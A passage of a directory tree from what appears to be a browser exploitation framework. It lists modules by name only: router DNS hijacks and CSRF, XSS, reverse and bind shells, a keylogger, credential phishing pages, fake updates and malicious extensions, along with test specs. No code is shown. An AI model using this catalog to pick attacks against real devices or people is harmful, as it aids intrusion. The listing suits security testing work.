└── module.rb │ │ │ ├── argw4_adsl_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── asmax_ar804gu_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── asus_dslx11_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── asus_rt_n12e_get_info/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── asus_rt_n66u_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── beetel_bcm96338_router_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── belkin_dns_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── bt_home_hub_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── cisco_e2400_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── comtrend_ct5367_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── comtrend_ct5624_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── comtrend_ct_series_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── ddwrt_v24_sp1_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── ddwrt_v24_sp1_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dir_615_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl2640b_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl2640u_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl2740r_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl2780b_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl500t_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dsl526b_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── exper_ewm01_adsl_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── huawei_smartax_mt880/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── iball_baton_ib_wra150n_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── inteno_eg101r1_voip_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_befsr41_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_e2500_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_e2500_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_e2500_shell/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_wrt54g2_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── linksys_wrt54g_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── netgear_dgn2000_wan_remote_mgmt/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── netgear_dgn2200_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── phillips_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── pikatel_96338_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── planet_vdr300nu_adsl_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── shuttle_tech_915wm_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── telstra_zte_mf91_change_pw/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── telstra_zte_mf91_change_ssid/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── telstra_zte_mf91_disable_ap_isolation/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── tenda_adsl_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── tplink_dns_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── utstarcom_wa3002g4_dns_hijack/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── virgin_superhub_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── wipg1000_cmd_injection/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ruby_nntpd_cmd_exec/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── shell_shock_scanner/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ ├── shocker-cgi_list │ │ │ └── update-list │ │ ├── shell_shocked/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── skype_xss/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── spring_framework_malicious_jar/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── switch/ │ │ │ ├── dlink_dgs_1100_device_reset/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dgs_1100_fdb_whitelist/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dgs_1100_port_mirroring/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── netgear_gs108t_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── vtiger_crm_upload_exploit/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── wanem_command_execution/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── wifi_pineapple_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── wordpress_add_admin/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── xss/ │ │ │ ├── alienvault_ossim_3.1_xss/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── cisco_collaboration_server_5_xss/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── serendipity_1.6_xss/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── sqlitemanager_xss/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zenoss_3x_command_execution/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zenoss_add_user_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── zeroshell/ │ │ ├── zeroshell_2_0rc2_admin_dynamic_token/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_admin_password/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_admin_static_token/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_file_disclosure/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_migrate_hook/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_reverse_shell_csrf_sop/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── x.js │ │ └── zeroshell_2_0rc2_scanner/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── host/ │ │ ├── clipboard_theft/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_airdroid/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_antivirus/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_coupon_printer/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_cups/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_default_browser/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_google_desktop/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_hp/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_local_drives/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_protocol_handlers/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_software/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_users/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_battery_status/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_connection_type/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_internal_ip_java/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── get_internal_ip.java │ │ │ └── module.rb │ │ ├── get_internal_ip_webrtc/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_registry_keys/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_system_info_java/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── getSystemInfo.java │ │ │ └── module.rb │ │ ├── get_wireless_keys/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ ├── wirelessZeroConfig.jar │ │ │ └── wirelessZeroConfig.java │ │ ├── hook_default_browser/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── hook_microsoft_edge/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── insecure_url_skype/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── iphone_tel/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── physical_location/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── physical_location_thirdparty/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── ipec/ │ │ ├── cross_site_faxing/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── cross_site_printing/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── dns_tunnel/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── etag_client/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inter_protocol_imap/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inter_protocol_irc/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inter_protocol_posix_bindshell/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inter_protocol_redis/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inter_protocol_win_bindshell/ │ │ │ ├── command.js │ │ │ ├── command.old.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── s2c_dns_tunnel/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── metasploit/ │ │ └── browser_autopwn/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── misc/ │ │ ├── blockui/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ibm_inotes/ │ │ │ ├── extract_inotes_list/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── inotes_flooder/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── read_inotes/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── send_inotes/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── send_inotes_with_attachment/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── iframe_keylogger/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── iframe_sniffer/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── leakyframe.js │ │ │ └── module.rb │ │ ├── invisible_iframe/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── local_file_theft/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── nosleep/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── update-lib │ │ ├── raw_javascript/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── read_gmail/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── track_physical_movement/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── unblockui/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── wordpress/ │ │ │ ├── add_user/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── current_user_info/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── upload_rce_plugin/ │ │ │ │ ├── beefbind.php │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── wordpress_command.rb │ │ │ └── wp.js │ │ └── wordpress_post_auth_rce/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── network/ │ │ ├── ADC/ │ │ │ ├── f5_bigip_cookie_disclosure/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── f5_bigip_cookie_stealing/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── DOSer/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── worker.js │ │ ├── cross_origin_scanner_cors/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── cross_origin_scanner_flash/ │ │ │ ├── ContentHijacking.swf │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── swfobject.js │ │ ├── detect_burp/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_ethereum_ens/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_opennic/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_soc_nets/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_tor/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── dns_enumeration/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── dns_rebinding/ │ │ │ ├── README.md │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── fetch_port_scanner/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_http_servers/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_ntop_network_hosts/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_proxy_servers_wpad/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── identify_lan_subnets/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── internal_network_fingerprinting/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── jslanscanner/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── nat_pinning_irc/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ping_sweep/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ping_sweep_ff/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ping_sweep_java/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── pingSweep.java │ │ └── port_scanner/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── persistence/ │ │ ├── confirm_close_tab/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── hijack_opener/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── iframe_above/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── invisible_htmlfile_activex/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── jsonp_service_worker/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── man_in_the_browser/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── popunder_window/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── popunder_window_ie/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── phonegap/ │ │ ├── phonegap_alert_user/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_beep/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_check_connection/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_detect/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_file_upload/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_geo_locate/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_globalization_status/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_keychain/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_list_contacts/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_list_files/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_persist_resume/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_persistence/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_plugin_detection/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_prompt_user/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── phonegap_start_record_audio/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── phonegap_stop_record_audio/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ └── social_engineering/ │ ├── clickjacking/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── clippy/ │ │ ├── assets/ │ │ │ └── README.txt │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── edge_wscript_wsh_injection/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── fake_evernote_clipper/ │ │ ├── GothamSSm-Bold.otf │ │ ├── GothamSSm-Medium.otf │ │ ├── command.js │ │ ├── config.yaml │ │ ├── login.css │ │ ├── login.html │ │ └── module.rb │ ├── fake_flash_update/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── fake_lastpass/ │ │ ├── command.js │ │ ├── config.yaml │ │ ├── index-new.html │ │ ├── index.html │ │ └── module.rb │ ├── fake_notification/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── fake_notification_c/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── fake_notification_ff/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── fake_notification_ie/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── firefox_extension_bindshell/ │ │ ├── command.js │ │ ├── config.yaml │ │ ├── extension/ │ │ │ ├── HTML5_Enhancements.xpi │ │ │ ├── bootstrap.js │ │ │ ├── build/ │ │ │ │ └── readme.txt │ │ │ ├── chrome.manifest │ │ │ ├── install.rdf │ │ │ └── overlay.xul │ │ └── module.rb │ ├── firefox_extension_dropper/ │ │ ├── command.js │ │ ├── config.yaml │ │ ├── dropper/ │ │ │ └── readme.txt │ │ ├── extension/ │ │ │ ├── bootstrap.js │ │ │ ├── chrome.manifest │ │ │ ├── install.rdf │ │ │ └── overlay.xul │ │ └── module.rb │ ├── firefox_extension_reverse_shell/ │ │ ├── command.js │ │ ├── config.yaml │ │ ├── extension/ │ │ │ ├── HTML5_Enhancements.xpi │ │ │ ├── bootstrap.js │ │ │ ├── build/ │ │ │ │ └── readme.txt │ │ │ ├── chrome.manifest │ │ │ ├── install.rdf │ │ │ └── overlay.xul │ │ └── module.rb │ ├── gmail_phishing/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── hta_powershell/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── lcamtuf_download/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── pretty_theft/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── replace_video_fake_plugin/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── simple_hijacker/ │ │ ├── command.js │ │ ├── config.yaml │ │ ├── module.rb │ │ └── templates/ │ │ ├── amazon.js │ │ ├── chromecertbeggar.js │ │ ├── chromecertbeggar2.js │ │ ├── confirmbox.js │ │ └── credential.js │ ├── sitekiosk_breakout/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── spoof_addressbar_data/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── tabnabbing/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── text_to_voice/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ └── ui_abuse_ie/ │ ├── command.js │ ├── config.yaml │ ├── module.rb │ └── popunder.html ├── package.json ├── spec/ │ ├── beef/ │ │ ├── api/ │ │ │ └── auth_rate_spec.rb │ │ ├── core/ │ │ │ ├── extension_spec.rb │ │ │ ├── extensions_spec.rb │ │ │ ├── filter/ │ │ │ │ ├── base_spec.rb │ │ │ │ ├── browser_spec.rb │ │ │ │ ├── command_spec.rb │ │ │ │ ├── http_spec.rb │ │ │ │ └── page_spec.rb │ │ │ ├── logger_spec.rb │ │ │ ├── main/ │ │ │ │ ├── autorun_engine/ │ │ │ │ │ └── autorun_engine_spec.rb │ │ │ │ ├── command_spec.rb │ │ │ │ ├── configuration_spec.rb │ │ │ │ ├── crypto_spec.rb │ │ │ │ ├── geoip_spec.rb │ │ │ │ ├── handlers/ │ │ │ │ │ ├── browser_details_handler_spec.rb │ │ │ │ │ ├── browserdetails_spec.rb │ │ │ │ │ ├── commands_spec.rb │ │ │ │ │ └── hookedbrowsers_spec.rb │ │ │ │ ├── migration_spec.rb │ │ │ │ ├── models/ │ │ │ │ │ ├── browser_details_spec.rb │ │ │ │ │ ├── legacybrowseruseragents_spec.rb │ │ │ │ │ ├── optioncache_spec.rb │ │ │ │ │ └── result_spec.rb │ │ │ │ ├── network_stack/ │ │ │ │ │ ├── assethandler_spec.rb │ │ │ │ │ └── handlers/ │ │ │ │ │ ├── dynamic_reconstruction_spec.rb │ │ │ │ │ ├── raw_spec.rb │ │ │ │ │ └── redirector_spec.rb │ │ │ │ ├── router/ │ │ │ │ │ └── router_spec.rb │ │ │ │ └── server_spec.rb │ │ │ ├── module_spec.rb │ │ │ ├── modules_spec.rb │ │ │ ├── ruby/ │ │ │ │ ├── hash_spec.rb │ │ │ │ ├── module_spec.rb │ │ │ │ ├── print_spec.rb │ │ │ │ ├── security_spec.rb │ │ │ │ └── string_spec.rb │ │ │ └── settings_spec.rb │ │ ├── extensions/ │ │ │ ├── adminui_spec.rb │ │ │ ├── dns_spec.rb │ │ │ ├── network_spec.rb │ │ │ ├── proxy_spec.rb │ │ │ ├── qrcode_spec.rb │ │ │ ├── requester_spec.rb │ │ │ ├── social_engineering_spec.rb │ │ │ ├── webrtc_spec.rb │ │ │ ├── websocket_hooked_browser_spec.rb │ │ │ ├── websocket_spec.rb │ │ │ └── xssrays_spec.rb │ │ ├── filesystem_checks_spec.rb │ │ ├── modules/ │ │ │ └── debug/ │ │ │ └── test_beef_debugs_spec.rb │ │ └── security_checks_spec.rb │ ├── features/ │ │ ├── all_modules_spec.rb │ │ └── debug_modules_spec.rb │ ├── requests/ │ │ ├── beef_test_spec.rb │ │ └── login_spec.rb │ ├── spec_helper.rb │ └── support/ │ ├── assets/ │ │ ├── config_new.yaml │ │ └── config_old.yaml │ ├── beef_test.rb │ ├── browserstack/ │ │ ├── osx/ │ │ │ ├── catalina/ │ │ │ │ ├── catalina_chrome_41.config.yml │ │ │ │ ├── catalina_chrome_59.config.yml │ │ │ │ ├── catalina_chrome_81.config.yml │ │ │ │ ├── catalina_firefox_11.config.yml │ │ │ │ ├── catalina_firefox_68esr.config.yml │ │ │ │ ├── catalina_firefox_75.config.yml │ │ │ │ └── catalina_safari_13.config.yml │ │ │ ├── elcapitan/ │ │ │ │ ├── elcapitan_chrome_14.config.yml │ │ │ │ ├── elcapitan_chrome_81.config.yml │ │ │ │ ├── elcapitan_firefox_7.config.yml │ │ │ │ ├── elcapitan_firefox_75.config.yml │ │ │ │ └── elcapitan_safari_9-1.config.yml │ │ │ └── snowleopard/ │ │ │ ├── snowleopard_chrome_14.config.yml │ │ │ ├── snowleopard_chrome_35.config.yml │ │ │ ├── snowleopard_chrome_49.config.yml │ │ │ ├── snowleopard_firefox_38esr.config.yml │ │ │ ├── snowleopard_firefox_42.config.yml │ │ │ ├── snowleopard_firefox_7.config.yml │ │ │ └── snowleopard_safari_5-1.config.yml │ │ └── windows/ │ │ ├── win10/ │ │ │ ├── win10_chrome_37.config.yml │ │ │ ├── win10_chrome_59.config.yml │ │ │ ├── win10_chrome_81.config.yml │ │ │ ├── win10_edge_81.config.yml │ │ │ ├── win10_firefox_32.config.yml │ │ │ ├── win10_firefox_68esr.config.yml │ │ │ ├── win10_firefox_75.config.yml │ │ │ └── win10_ie_11.config.yml │ │ ├── win8/ │ │ │ ├── win8_chrome_22.config.yml │ │ │ ├── win8_chrome_81.config.yml │ │ │ ├── win8_edge_81.config.yml │ │ │ ├── win8_firefox_32.config.yml │ │ │ ├── win8_firefox_75.config.yml │ │ │ └── win8_ie_10.config.yml │ │ └── xp/ │ │ ├── xp_chrome_14.config.yml │ │ ├── xp_chrome_28.config.yml │ │ ├── xp_chrome_43.config.yml │ │ ├── xp_firefox_16.config.yml │ │ ├── xp_firefox_26.config.yml │ │ ├── 